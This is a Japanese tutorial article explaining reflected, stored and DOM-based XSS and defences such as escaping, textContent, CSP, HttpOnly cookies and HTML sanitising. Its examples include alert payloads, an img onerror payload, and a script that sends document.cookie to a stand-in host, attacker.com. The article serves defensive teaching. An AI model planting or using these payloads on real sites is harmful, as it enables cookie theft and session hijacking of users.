XSS攻撃

# XSS攻撃（クロスサイトスクリプティング）とは

Cross-Site Scripting の「Scripting」は「スクリプト（script）を書くこと・実行すること」で、Webアプリケーションに悪意あるスクリプト（JavaScriptなど）が注入され、ユーザーのブラウザ上で実行される攻撃手法。  

- Cookieの盗用
- セッション乗っ取り
- 画面改ざん
- なりすまし投稿

個人的にはJavaScriptインジェクションと呼んでます。

## 主なXSSの種類

### 1. リフレクティッドXSS（反射型）

- ユーザーの入力が即座にレスポンスに反映される
- 攻撃用のURLを踏ませることで発動

例：
```
https://example.com/search?q=<script>alert('XSS')</script>
```

---

### 2. ストアドXSS（蓄積型）

- コメント欄などに保存されたスクリプトが他ユーザーの閲覧時に実行される
- 被害範囲が広く、深刻な被害になりやすい

1. Webサイトに「掲示板」や「コメント欄」がある  
2. 攻撃者が以下のスクリプトを投稿

```html
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
```

3. サイトがコメントをエスケープせずにHTML表示  
4. 他のユーザーがそのページを見た瞬間、スクリプトが実行されCookieが送信される

---

### 3. DOMベースXSS

- JavaScriptがクライアント側で不適切に入力を扱うことで発生
- サーバーではなくフロント側に原因がある

1. JavaScriptがURLのパラメータを `innerHTML` に反映：

```javascript
const param = new URLSearchParams(location.search).get("msg");
document.getElementById("message").innerHTML = param;
```

2. 攻撃者が以下のURLを使う：

```
https://example.com/index.html?msg=<img src=x onerror="alert('XSS')">
```

3. ユーザーがURLを開くと、JSがimgタグ内で実行される

#### 被害の例

- **セッションハイジャック**  
  攻撃者がセッションIDを盗む

- **フィッシング**  
  本物そっくりの偽フォームを表示

### 4. XSS攻撃の対策

#### ① HTMLエスケープ（Kotlin + Thymeleaf）

```kotlin
<!-- HTMLテンプレート (.html) -->
<!-- 入力値が <script>alert('XSS')</script> でも自動でエスケープされる -->

<p th:text="${userInput}"></p>
<!-- 表示結果：&lt;script&gt;alert('XSS')&lt;/script&gt; -->
```

#### ② JavaScript側での安全な値の扱い

```javascript
// ❌ NG：innerHTMLでスクリプトが実行される可能性
document.getElementById('output').innerHTML = location.search;

// ✅ OK：textContentでスクリプト無効化
const msg = new URLSearchParams(location.search).get("msg");
document.getElementById('output').textContent = msg;
```

#### ③ [Content Security Policy（CSP）ヘッダー](https://developer.mozilla.org/ja/docs/Web/HTTP/Guides/CSP)

```http
# nginx例（安全なスクリプトだけ許可）
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com";
```

```html
<!-- メタタグで設定（推奨はHTTPヘッダー） -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
```

CSPはNext.jsではそのまま入れるとCSPエラーになるためnonceを使うなどしないといけないです

 - nonce とは
「nonce」とは、一度きりのランダムな値で、Content Security Policy（CSP）でインラインスクリプトを安全に実行するために使うトークンです。

#### ④ HTTPOnly + SecureなCookie設定

```java
// Java Servlet
Cookie cookie = new Cookie("SESSIONID", sessionId);
cookie.setHttpOnly(true);   // JSからアクセス不可
cookie.setSecure(true);     // HTTPSのみ送信
response.addCookie(cookie);
```

#### ⑤ Reactなどのテンプレートエンジン

```jsx
// ✅ JSX内は自動でエスケープされる
<p>{userInput}</p>  // <script>alert('XSS')</script> → 表示されるだけ

// ❌ NG：危険なHTMLを直接描画
<div dangerouslySetInnerHTML={{ __html: userInput }} />
```
全てエスケープしても良いサイトなら問題ないですがdangerouslySetInnerHTMLを使わないルールを設けるだけで問題ないですが、dangerouslySetInnerHTML使わないといけない場合もあります。
例えば今見ているQiitaでは一部のタグは許可すべきなので全てエスケープをしてしまうとQiitaの記事が作れなくなってしまいます。
その場合は⑥を必ず検討すべきです。

#### ⑥ 入力値をホワイトリストで制限

下記のようなライブラリを使用して一部のタグや要素のみ許可するようにしましょう

https://github.com/owasp/java-html-sanitizer

```java
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a")                                 // aタグだけ許可
    .allowUrlProtocols("https")                         // href属性には https プロトコルのみ許可
    .allowAttributes("href").onElements("a")            // aタグにだけ href 属性を許可
    .requireRelNofollowOnLinks()                        // aタグに rel="nofollow" を強制付与
    .toFactory();                                       // 上記設定をもとに PolicyFactory を生成

String safeHTML = policy.sanitize(untrustedHTML);       // 指定ポリシーで入力HTMLをサニタイズ

```

基本的にはフレームワークが自動でエスケープしてくれるため過去より発生頻度は減っているようですが、セキュリティの基本は多層で防御をすることが大事です。
もし簡単に入れることが可能なら③や④のセキュリティヘッダーを入れることを検討してみてください。

##### 参考サイト

https://www.ipa.go.jp/security/vuln/websecurity/cross-site-scripting.html

##### 追記

この記事はAIで添削しています。